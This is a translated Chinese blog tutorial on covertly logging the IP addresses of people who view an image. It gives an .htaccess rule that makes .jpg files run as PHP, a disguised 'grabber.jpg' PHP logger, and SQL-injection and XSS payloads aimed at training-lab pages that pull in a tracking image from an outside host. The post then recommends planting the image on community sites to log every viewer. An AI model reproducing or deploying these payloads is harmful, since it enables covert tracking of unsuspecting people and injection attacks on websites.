基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
php 中的str_replace 函数总结
Apr 27 PHP
php 过滤器实现代码
Aug 09 PHP
Look And Say 序列php实现代码
May 22 PHP
php单例模式实现(对象只被创建一次)
Dec 05 PHP
跟我学Laravel之配置Laravel
Oct 15 PHP
PHP中你应该知道的require()文件包含的正确用法
Jun 12 PHP
在Linux系统下一键重新安装WordPress的脚本示例
Jun 30 PHP
PHP常用排序算法实例小结【基本排序,冒泡排序,快速排序,插入排序】
Feb 07 PHP
PHP读取并输出XML文件数据的简单实现方法
Dec 22 PHP
PHP设计模式之装饰器模式实例详解
Feb 07 PHP
php实现微信原生支付(扫码支付)功能
May 30 PHP
php和vue配合使用技巧和方法
May 09 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
elgg 获取文件图标地址的方法
2010/03/20 PHP
PHP执行linux系统命令的常用函数使用说明
2010/04/27 PHP
php 代码优化之经典示例
2011/03/24 PHP
使用GROUP BY的时候如何统计记录条数 COUNT(*) DISTINCT
2011/04/23 PHP
php获取网页请求状态程序示例
2014/06/17 PHP
php查找指定目录下指定大小文件的方法
2014/11/28 PHP
PHP中的替代语法介绍
2015/01/09 PHP
php源码分析之DZX1.5加密解密函数authcode用法
2015/06/17 PHP
javascript基本语法分析说明
2008/06/15 Javascript
防止动态加载JavaScript引起的内存泄漏问题
2009/10/08 Javascript
JavaScript访问CSS属性的几种方式介绍
2014/07/21 Javascript
js获取checkbox值的方法
2015/01/28 Javascript
JS制作简单的三级联动
2015/03/18 Javascript
jQuery javascript获得网页的高度与宽度的实现代码
2016/04/26 Javascript
AngularJS实现与Java Web服务器交互操作示例【附demo源码下载】
2016/11/02 Javascript
图片上传之FileAPI与NodeJs
2017/01/24 NodeJs
Extjs gridpanel 中的checkbox(复选框)根据某行的条件不能选中的解决方法
2017/02/17 Javascript
简单实现AngularJS轮播图效果
2020/04/10 Javascript
JavaScript使用math.js进行精确计算操作示例
2018/06/19 Javascript
Vue.js图片预览插件使用详解
2018/08/27 Javascript
深入浅析Vue.js 中的 v-for 列表渲染指令
2018/11/19 Javascript
vue之延时刷新实例
2019/11/14 Javascript
JS实现普通轮播图特效
2020/01/01 Javascript
Vue列表循环从指定下标开始的多种解决方案
2020/04/08 Javascript
JavaScript实现简单的图片切换功能(实例代码)
2020/04/10 Javascript
Ant design vue table 单击行选中 勾选checkbox教程
2020/10/24 Javascript
Python+matplotlib+numpy实现在不同平面的二维条形图
2018/01/02 Python
python批量识别图片指定区域文字内容
2019/04/30 Python
在pytorch中对非叶节点的变量计算梯度实例
2020/01/10 Python
在keras 中获取张量 tensor 的维度大小实例
2020/06/10 Python
德国原装品牌香水、化妆品和手表网站:BRASTY.DE
2016/10/16 全球购物
教师个人剖析材料
2014/02/05 职场文书
2014年政府采购工作总结
2014/12/09 职场文书
职场新人刚入职工作总结该怎么写?
2019/05/15 职场文书
如何用Node.js编写内存效率高的应用程序
2021/04/30 Javascript
Java实现经典游戏泡泡堂的示例代码
2022/04/04 Java/Android